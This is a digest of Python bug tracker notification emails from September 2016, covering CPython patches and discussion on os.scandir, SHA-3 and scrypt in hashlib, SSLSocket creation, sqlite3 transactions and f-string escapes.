----------
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26970>
_______________________________________

From report at bugs.python.org  Wed Sep  7 05:07:41 2016
From: report at bugs.python.org (Eryk Sun)
Date: Wed, 07 Sep 2016 09:07:41 +0000
Subject: [issue27998] Add support of bytes paths in os.scandir()
In-Reply-To: <1473236470.81.0.837469962495.issue27998@psf.upfronthosting.co.za>
Message-ID: <1473239261.77.0.366075084804.issue27998@psf.upfronthosting.co.za>


Eryk Sun added the comment:

This is implemented in Steve's latest patch in issue 27781. For example:

    >>> sys.platform
    'win32'
    >>> os.mkdir('test')
    >>> f = open('test/\U00010000.txt', 'w')
    >>> next(os.scandir(b'test')).name
    b'\xf0\x90\x80\x80.txt'
    >>> next(os.scandir(b'test')).path
    b'test\\\xf0\x90\x80\x80.txt'

----------
nosy: +eryksun
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> Change sys.getfilesystemencoding() on Windows to UTF-8

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27998>
_______________________________________

From report at bugs.python.org  Wed Sep  7 05:09:36 2016
From: report at bugs.python.org (Dima Tisnek)
Date: Wed, 07 Sep 2016 09:09:36 +0000
Subject: [issue25596] Use scandir() to speed up the glob module
In-Reply-To: <1447154287.89.0.207791672282.issue25596@psf.upfronthosting.co.za>
Message-ID: <1473239376.68.0.441645630994.issue25596@psf.upfronthosting.co.za>


Dima Tisnek added the comment:

@Serhiy please comment the implications / limitations of the fallback on Windows.

Is it that scandir cannot handle bytes argument only?
If argument is unicode, but response set contains bytes paths, will that work?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25596>
_______________________________________

From report at bugs.python.org  Wed Sep  7 05:39:08 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 07 Sep 2016 09:39:08 +0000
Subject: [issue27984] singledispatch register should typecheck its argument
In-Reply-To: <1473203931.8.0.512988366273.issue27984@psf.upfronthosting.co.za>
Message-ID: <1473241148.19.0.728152111291.issue27984@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

It's also better to add the typecheck to dispatch. Otherwise sometimes it can generate not obvious exception message.

>>> from enum import IntEnum
>>> from functools import singledispatch
>>> IS = IntEnum("IS", "a, b")
>>> @singledispatch
... def foo(x):
...     pass
... 
>>> foo.dispatch(IS.a)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/angwer/cpython/Lib/functools.py", line 718, in dispatch
    impl = dispatch_cache[cls]
  File "/home/angwer/cpython/Lib/weakref.py", line 365, in __getitem__
    return self.data[ref(key)]
TypeError: cannot create weak reference to 'IS' object
>>>

----------
keywords: +patch
nosy: +xiang.zhang
Added file: http://bugs.python.org/file44428/issue27984.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27984>
_______________________________________

From report at bugs.python.org  Wed Sep  7 05:43:59 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Wed, 07 Sep 2016 09:43:59 +0000
Subject: [issue11551] test_dummy_thread.py test coverage improvement
In-Reply-To: <1300167076.06.0.564640850905.issue11551@psf.upfronthosting.co.za>
Message-ID: <1473241439.64.0.912409598298.issue11551@psf.upfronthosting.co.za>


Senthil Kumaran added the comment:

I've updated the patch to use unittest.mock, the removed the old style way of exercising it.

----------
nosy: +orsenthil
Added file: http://bugs.python.org/file44429/issue11551.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11551>
_______________________________________

From report at bugs.python.org  Wed Sep  7 05:58:40 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 09:58:40 +0000
Subject: [issue16113] Add SHA-3 and SHAKE (Keccak) support
In-Reply-To: <1349233804.79.0.00772371618682.issue16113@psf.upfronthosting.co.za>
Message-ID: <20160907095832.13843.858.8C055EB8@psf.io>


Roundup Robot added the comment:

New changeset f8700ee4aef0 by Christian Heimes in branch 'default':
Issue #16113: Add SHA-3 and SHAKE support to hashlib module.
https://hg.python.org/cpython/rev/f8700ee4aef0

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16113>
_______________________________________

From report at bugs.python.org  Wed Sep  7 05:59:07 2016
From: report at bugs.python.org (Spencer Brown)
Date: Wed, 07 Sep 2016 09:59:07 +0000
Subject: [issue27989] incomplete signature with help function using typing
In-Reply-To: <1473214790.93.0.488939251151.issue27989@psf.upfronthosting.co.za>
Message-ID: <1473242347.38.0.238435728663.issue27989@psf.upfronthosting.co.za>


Spencer Brown added the comment:

More precisely, the issue is with inspect.formatannotation(), which overrides/ignores the repr if the annotation is an instance of type. Perhaps that should be changed to also check that __repr__ is type's repr.

----------
nosy: +Spencer Brown

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27989>
_______________________________________

From report at bugs.python.org  Wed Sep  7 06:00:54 2016
From: report at bugs.python.org (Erik Bray)
Date: Wed, 07 Sep 2016 10:00:54 +0000
Subject: [issue25750] tp_descr_get(self, obj,
 type) is called without owning a reference to "self"
In-Reply-To: <1448654213.28.0.807225788685.issue25750@psf.upfronthosting.co.za>
Message-ID: <1473242454.25.0.0302610675707.issue25750@psf.upfronthosting.co.za>


Changes by Erik Bray <erik.m.bray at gmail.com>:


----------
nosy: +erik.bray
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25750>
_______________________________________

From report at bugs.python.org  Wed Sep  7 06:11:38 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 07 Sep 2016 10:11:38 +0000
Subject: [issue16113] Add SHA-3 and SHAKE (Keccak) support
In-Reply-To: <1349233804.79.0.00772371618682.issue16113@psf.upfronthosting.co.za>
Message-ID: <1473243098.61.0.62254378612.issue16113@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16113>
_______________________________________

From report at bugs.python.org  Wed Sep  7 06:25:19 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 07 Sep 2016 10:25:19 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1473243919.01.0.488242018304.issue27928@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Benjamin, what's your take on Alex's suggestion?

<Crys> gutworth: Alex_Gaynor has asked me if hashlib.scrypt() can go into 2.7, too. It's a password-based KDF like hashlib.pbkdf2() but more secure than PBKDF2. It requires OpenSSL 1.1.0.
<Alex_Gaynor> gutworth: I think it'd be good if this were approved, for the same reasons as PEP466
<Crys> contrary to PKBDF2 it doesn't make sense to have a pure-Python implementation. scrypt uses ChaCha20 cipher. I don't want to add a cipher to CPython core (possible legal issue) and it's not available in OpenSSL < 1.1.0.

----------
nosy: +benjamin.peterson
versions: +Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Wed Sep  7 06:42:56 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 10:42:56 +0000
Subject: [issue16113] Add SHA-3 and SHAKE (Keccak) support
In-Reply-To: <1349233804.79.0.00772371618682.issue16113@psf.upfronthosting.co.za>
Message-ID: <20160907104252.39027.36231.B93AD840@psf.io>


Roundup Robot added the comment:

New changeset 4971ca2960c7 by Christian Heimes in branch 'default':
Issue #16113: KeccakP-1600-opt64 does not support big endian platforms yet.
https://hg.python.org/cpython/rev/4971ca2960c7

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16113>
_______________________________________

From report at bugs.python.org  Wed Sep  7 06:52:05 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 10:52:05 +0000
Subject: [issue16113] Add SHA-3 and SHAKE (Keccak) support
In-Reply-To: <1349233804.79.0.00772371618682.issue16113@psf.upfronthosting.co.za>
Message-ID: <20160907105202.12905.92689.A6AFF583@psf.io>


Roundup Robot added the comment:

New changeset e8884dcace9f by Christian Heimes in branch 'default':
Issue #16113: compile the module on Windows, too.
https://hg.python.org/cpython/rev/e8884dcace9f

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16113>
_______________________________________

From report at bugs.python.org  Wed Sep  7 07:01:57 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 11:01:57 +0000
Subject: [issue16113] Add SHA-3 and SHAKE (Keccak) support
In-Reply-To: <1349233804.79.0.00772371618682.issue16113@psf.upfronthosting.co.za>
Message-ID: <20160907110122.31332.57465.CB011C98@psf.io>


Roundup Robot added the comment:

New changeset 68df416e94ba by Christian Heimes in branch 'default':
Issue #16113: take 2 on big endian machines.
https://hg.python.org/cpython/rev/68df416e94ba

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16113>
_______________________________________

From report at bugs.python.org  Wed Sep  7 07:04:34 2016
From: report at bugs.python.org (Sye van der Veen)
Date: Wed, 07 Sep 2016 11:04:34 +0000
Subject: [issue16384] import.c doesn't handle EOFError from PyMarshal_Read*
In-Reply-To: <1473218946.07.0.553561837469.issue16384@psf.upfronthosting.co.za>
Message-ID: <CA+No7BQxH530hsoN-=yqQ+PUjr2+r21dqZTfJ9eLzCOBW2mUSA@mail.gmail.com>


Sye van der Veen added the comment:

I feel this patch (file44424) misses the mark. Any two Python processes
that try to import a module, without a pyc, at the same time could suffer
race conditions.  The first process will start to write the pyc, get
interrupted, and the second will fail with an EOFError.

When importing encodings at startup, this is a nasty abort. But it's just
as nasty if a running script gets unpredictable EOFErrors.

Corrupt .pyc files should not prevent importing if the valid .py files are
available.

On Tue, Sep 6, 2016, 11:29 PM Eric Snow <report at bugs.python.org> wrote:

>
> Eric Snow added the comment:
>
> After looking more closely, it looks like we should be ignoring such bogus
> modules.  Here's a patch to do so.
>
> ----------
> keywords: +patch
> stage: test needed -> patch review
> Added file: http://bugs.python.org/file44424/issue16384.diff
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue16384>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16384>
_______________________________________

From report at bugs.python.org  Wed Sep  7 07:05:21 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 07 Sep 2016 11:05:21 +0000
Subject: [issue16113] Add SHA-3 and SHAKE (Keccak) support
In-Reply-To: <1349233804.79.0.00772371618682.issue16113@psf.upfronthosting.co.za>
Message-ID: <1473246321.43.0.31864135344.issue16113@psf.upfronthosting.co.za>


Christian Heimes added the comment:

A buildbot is complaining about strict aliasing:

In file included from /buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/Modules/_sha3/sha3module.c:113:0:
/buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c: In function ?_PySHA3_KeccakP1600_SetBytesInLaneToZero?:
/buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c:97:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing]
     low = *((UINT32*)(laneAsBytes+0));
     ^
In file included from /buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/Modules/_sha3/sha3module.c:113:0:
/buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c: In function ?_PySHA3_KeccakP1600_AddBytesInLane?:
/buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c:152:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing]
     low = *((UINT32*)(laneAsBytes+0));
     ^
/buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c: In function ?_PySHA3_KeccakP1600_ExtractBytesInLane?:
/buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c:294:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing]
     *((UINT32*)(laneAsBytes+0)) = low;
     ^
/buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c: In function ?_PySHA3_KeccakP1600_ExtractAndAddBytesInLane?:
/buildbot/buildarea/3.x.ware-gentoo-x86.installed/build/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c:367:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing]
     *((UINT32*)(laneAsBytes+0)) = low;

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16113>
_______________________________________

From report at bugs.python.org  Wed Sep  7 07:10:52 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 11:10:52 +0000
Subject: [issue25596] Use scandir() to speed up the glob module
In-Reply-To: <1447154287.89.0.207791672282.issue25596@psf.upfronthosting.co.za>
Message-ID: <1473246652.56.0.805126218536.issue25596@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

os.scandir() cannot handle bytes argument on Windows. If an argument is string, os.scandir() yields entries with string names, if an argument is bytes object, os.scandir() yields entries with bytes names. Opened issue27998 for adding support of bytes paths in os.scandir(). After this will be implemented, a workaround cb7ee9d9cddd can be reverted.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25596>
_______________________________________

From report at bugs.python.org  Wed Sep  7 07:10:56 2016
From: report at bugs.python.org (=?utf-8?q?Kristj=C3=A1n_Valur_J=C3=B3nsson?=)
Date: Wed, 07 Sep 2016 11:10:56 +0000
Subject: [issue8800] add threading.RWLock
In-Reply-To: <1274694942.46.0.488506239249.issue8800@psf.upfronthosting.co.za>
Message-ID: <1473246656.9.0.254672054528.issue8800@psf.upfronthosting.co.za>


Kristj?n Valur J?nsson added the comment:

Seems to have fizzled out due to the intense amount of bikeshedding required.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue8800>
_______________________________________

From report at bugs.python.org  Wed Sep  7 07:15:39 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 11:15:39 +0000
Subject: [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
In-Reply-To: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>
Message-ID: <1473246938.99.0.783692131927.issue27938@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Maybe Windows buildbots failures are related:

http://buildbot.python.org/all/builders/AMD64%20Windows7%20SP1%203.x/builds/8294/steps/test/logs/stdio

======================================================================
FAIL: test_create_at_shutdown_without_encoding (test.test_io.PyTextIOWrapperTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "C:\buildbot.python.org\3.x.kloth-win64\build\lib\test\test_io.py", line 3174, in test_create_at_shutdown_without_encoding
    self.assertIn(self.shutdown_error, err.decode())
AssertionError: 'LookupError: unknown encoding: ascii' not found in 'Exception ignored in: <bound method C.__del__ of <__main__.C object at 0x000000000123BF60>>\r\nTraceback (most recent call last):\r\n  File "<string>", line 12, in __del__\r\n  File "C:\\buildbot.python.org\\3.x.kloth-win64\\build\\lib\\_pyio.py", line 1934, in __init__\r\n  File "C:\\buildbot.python.org\\3.x.kloth-win64\\build\\lib\\encodings\\__init__.py", line 158, in _alias_mbcs\r\nImportError: sys.meta_path is None, Python is likely shutting down'

----------------------------------------------------------------------

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Wed Sep  7 07:18:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 11:18:35 +0000
Subject: [issue26032] Use scandir() to speed up pathlib globbing
In-Reply-To: <1452120927.04.0.31788168865.issue26032@psf.upfronthosting.co.za>
Message-ID: <1473247115.54.0.860506070908.issue26032@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26032>
_______________________________________

From report at bugs.python.org  Wed Sep  7 07:18:56 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 07 Sep 2016 11:18:56 +0000
Subject: [issue16113] Add SHA-3 and SHAKE (Keccak) support
In-Reply-To: <1349233804.79.0.00772371618682.issue16113@psf.upfronthosting.co.za>
Message-ID: <20160907111846.78136.33503.71A82FAD@psf.io>


Roundup Robot added the comment:

New changeset ddc95a9bc2e0 by Christian Heimes in branch 'default':
Issue #16113: one more C90 violation in big endian code.
https://hg.python.org/cpython/rev/ddc95a9bc2e0

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16113>
_______________________________________

From report at bugs.python.org  Wed Sep  7 07:34:22 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 07 Sep 2016 11:34:22 +0000
Subject: [issue27996] Python 3 ssl module can't use a fileno to create a
 SSLSocket
In-Reply-To: <1473218751.66.0.520708596469.issue27996@psf.upfronthosting.co.za>
Message-ID: <1473248062.76.0.17272124559.issue27996@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the report. This looks like a duplicate of issue 27629. Please provide a reproducer if it's different problem than issue 27629.

----------
nosy: +berker.peksag
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> Cannot create ssl.SSLSocket without existing socket

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27996>
_______________________________________

From report at bugs.python.org  Wed Sep  7 07:38:52 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 11:38:52 +0000
Subject: [issue25776] More compact pickle of iterators etc
In-Reply-To: <1449052155.68.0.447852149746.issue25776@psf.upfronthosting.co.za>
Message-ID: <1473248332.56.0.183707683854.issue25776@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


Added file: http://bugs.python.org/file44430/iterators_pickle_4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25776>
_______________________________________

From report at bugs.python.org  Wed Sep  7 07:43:10 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 11:43:10 +0000
Subject: [issue25856] The __module__ attribute of non-heap classes is not
 interned
In-Reply-To: <1450023464.36.0.165437491365.issue25856@psf.upfronthosting.co.za>
Message-ID: <1473248590.81.0.0447858671147.issue25856@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Could anyone please make a review?

----------
assignee:  -> serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25856>
_______________________________________

From report at bugs.python.org  Wed Sep  7 07:43:21 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 07 Sep 2016 11:43:21 +0000
Subject: [issue27629] Cannot create ssl.SSLSocket without existing socket
In-Reply-To: <1469575305.76.0.392837082138.issue27629@psf.upfronthosting.co.za>
Message-ID: <1473248600.99.0.168755573918.issue27629@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The patch is incomplete. Please also check that type == SOCK_STREAM. The code can be simplified with a bitmask test:

if sock is not None:
    type = sock.type
if type & socket.SOCK_STREAM != socket.SOCK_STREAM:
    raise NotImplementedError

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27629>
_______________________________________

From report at bugs.python.org  Wed Sep  7 07:50:55 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 07 Sep 2016 11:50:55 +0000
Subject: [issue25856] The __module__ attribute of non-heap classes is not
 interned
In-Reply-To: <1450023464.36.0.165437491365.issue25856@psf.upfronthosting.co.za>
Message-ID: <1473249055.7.0.208107922048.issue25856@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


Added file: http://bugs.python.org/file44431/intern_and_cache___module__2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25856>
_______________________________________

From report at bugs.python.org  Wed Sep  7 07:51:30 2016
From: report at bugs.python.org (SenBin Yu)
Date: Wed, 07 Sep 2016 11:51:30 +0000
Subject: [issue27996] Python 3 ssl module can't use a fileno to create a
 SSLSocket
In-Reply-To: <1473218751.66.0.520708596469.issue27996@psf.upfronthosting.co.za>
Message-ID: <1473249090.32.0.14292050559.issue27996@psf.upfronthosting.co.za>


SenBin Yu added the comment:

The issue 27629 describe creating a SSLSocket only with server_hostname argument.But what i said is that we can't creating a SSLSocket with fileno argument from a existing socket.I'm strange about this code design that meaningless branch conditions exists.

----------
resolution: duplicate -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27996>
_______________________________________

From report at bugs.python.org  Wed Sep  7 07:54:27 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 07 Sep 2016 11:54:27 +0000
Subject: [issue27654] [Patch] Use arc4random_buf() on CloudABI
In-Reply-To: <1469876174.92.0.881098138709.issue27654@psf.upfronthosting.co.za>
Message-ID: <1473249267.29.0.700075058407.issue27654@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Thanks. The bare call to arc4random_buf() looks wrong at first. Please add a comment that arc4random_buf() cannot fail / does not report back errors.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27654>
_______________________________________

From report at bugs.python.org  Wed Sep  7 08:00:19 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 07 Sep 2016 12:00:19 +0000
Subject: [issue27996] Python 3 ssl module can't use a fileno to create a
 SSLSocket
In-Reply-To: <1473218751.66.0.520708596469.issue27996@psf.upfronthosting.co.za>
Message-ID: <1473249619.26.0.303756431162.issue27996@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Did you look at the patch? It adds the following test case:

+        s = socket.socket()
+        sfd = s.fileno()
+        # Create secure socket from fileno
+        ss = ssl.SSLSocket(fileno=sfd)
+        self.assertTrue(ss.fileno() == sfd)

Isn't that what you want to achieve?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27996>
_______________________________________

From report at bugs.python.org  Wed Sep  7 08:17:06 2016
From: report at bugs.python.org (SenBin Yu)
Date: Wed, 07 Sep 2016 12:17:06 +0000
Subject: [issue27996] Python 3 ssl module can't use a fileno to create a
 SSLSocket
In-Reply-To: <1473218751.66.0.520708596469.issue27996@psf.upfronthosting.co.za>
Message-ID: <1473250626.63.0.597706304642.issue27996@psf.upfronthosting.co.za>


SenBin Yu added the comment:

Yes, the giving code is what i desiere and shoud be supported. Sorry, i haven't see the patch file.And the next release will include this patch?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27996>
_______________________________________

From report at bugs.python.org  Wed Sep  7 08:37:24 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 07 Sep 2016 12:37:24 +0000
Subject: [issue27996] Python 3 ssl module can't use a fileno to create a
 SSLSocket
In-Reply-To: <1473218751.66.0.520708596469.issue27996@psf.upfronthosting.co.za>
Message-ID: <1473251844.63.0.391701345631.issue27996@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Great, closing this then.

> And the next release will include this patch?

Christian (one of our SSL module maintainers) just reviewed the patch so the next step is to address his review comments and upload a new patch. If you don't see any movement from nemunaire (the original author of the patch) after a week or so, you can update the patch yourself (it would help to get it fixed sooner.)

----------
resolution:  -> duplicate
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27996>
_______________________________________

From report at bugs.python.org  Wed Sep  7 08:45:05 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Wed, 07 Sep 2016 12:45:05 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473252305.14.0.0524350724656.issue27364@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Rebased patch after Victor's commit in #16334. Also regenerated invalid_stdlib_escapes_3 in the hopes that Rietveld picks it up.

----------
Added file: http://bugs.python.org/file44432/deprecate_invalid_escapes_both_4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Wed Sep  7 08:45:18 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Wed, 07 Sep 2016 12:45:18 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473252318.84.0.216384011104.issue27364@psf.upfronthosting.co.za>


Changes by Emanuel Barry <barry at dadadata.net>:


Added file: http://bugs.python.org/file44433/invalid_stdlib_escapes_3_regen.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Wed Sep  7 08:47:08 2016
From: report at bugs.python.org (Ed Schouten)
Date: Wed, 07 Sep 2016 12:47:08 +0000
Subject: [issue27654] [Patch] Use arc4random_buf() on CloudABI
In-Reply-To: <1469876174.92.0.881098138709.issue27654@psf.upfronthosting.co.za>
Message-ID: <1473252428.25.0.393370603374.issue27654@psf.upfronthosting.co.za>


Ed Schouten added the comment:

Sure thing! Attached is an updated patch.

----------
Added file: http://bugs.python.org/file44434/patch-arc4random

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27654>
_______________________________________

From report at bugs.python.org  Wed Sep  7 08:49:02 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Wed, 07 Sep 2016 12:49:02 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473252542.15.0.0338904031442.issue27364@psf.upfronthosting.co.za>


Changes by Emanuel Barry <barry at dadadata.net>:


Removed file: http://bugs.python.org/file44433/invalid_stdlib_escapes_3_regen.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Wed Sep  7 08:49:20 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Wed, 07 Sep 2016 12:49:20 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473252560.68.0.132063103163.issue27364@psf.upfronthosting.co.za>


Changes by Emanuel Barry <barry at dadadata.net>:


Added file: http://bugs.python.org/file44435/invalid_stdlib_escapes_4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Wed Sep  7 09:20:23 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 07 Sep 2016 13:20:23 +0000
Subject: [issue27654] [Patch] Use arc4random_buf() on CloudABI
In-Reply-To: <1469876174.92.0.881098138709.issue27654@psf.upfronthosting.co.za>
Message-ID: <1473254423.23.0.806775176876.issue27654@psf.upfronthosting.co.za>


Christian Heimes added the comment:

LGTM, but it's Victor's final call.

----------
assignee:  -> haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27654>
_______________________________________

From report at bugs.python.org  Wed Sep  7 09:41:58 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Wed, 07 Sep 2016 13:41:58 +0000
Subject: [issue27137] Python implementation of `functools.partial` is not a
 class
In-Reply-To: <1464367158.87.0.208604382314.issue27137@psf.upfronthosting.co.za>
Message-ID: <1473255718.91.0.297852142033.issue27137@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Hi Nick, thank you for letting me know! I started trying to fix this, however I found it very hard to fix the recursive repr issue. I've whipped up an incomplete (but yet working) patch that fixes all but the recursive repr issue. Only those two tests fail (once for functools.partial and once for the subclass). I have to go for now, but feel free to play with this patch and see if you can fix it. The problem is that the way it's handled is inconsistent within the C implementation, and is incompatible with reprlib.recursive_repr. I might try my hand at it later today or tomorrow.

In the meantime, I think maybe the C implementation cares too much about the special cases for that.

----------
Added file: http://bugs.python.org/file44436/functools_partial_3_1_incomplete.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27137>
_______________________________________

From report at bugs.python.org  Wed Sep  7 09:55:28 2016
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 07 Sep 2016 13:55:28 +0000
Subject: [issue10740] sqlite3 module breaks transactions and potentially
 corrupts data
In-Reply-To: <1292868135.81.0.257293444934.issue10740@psf.upfronthosting.co.za>
Message-ID: <1473256528.63.0.194011886753.issue10740@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Here is an updated patch. I'd like to get this in before 3.6 beta 1.

----------
Added file: http://bugs.python.org/file44437/issue10740_upstream_v2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10740>
_______________________________________

From report at bugs.python.org  Wed Sep  7 09:56:03 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Wed, 07 Sep 2016 13:56:03 +0000
Subject: [issue27948] f-strings: allow backslashes only in the string parts,
 not in the expression parts
In-Reply-To: <1472909045.16.0.0196162777566.issue27948@psf.upfronthosting.co.za>
Message-ID: <1473256563.62.0.748916746546.issue27948@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

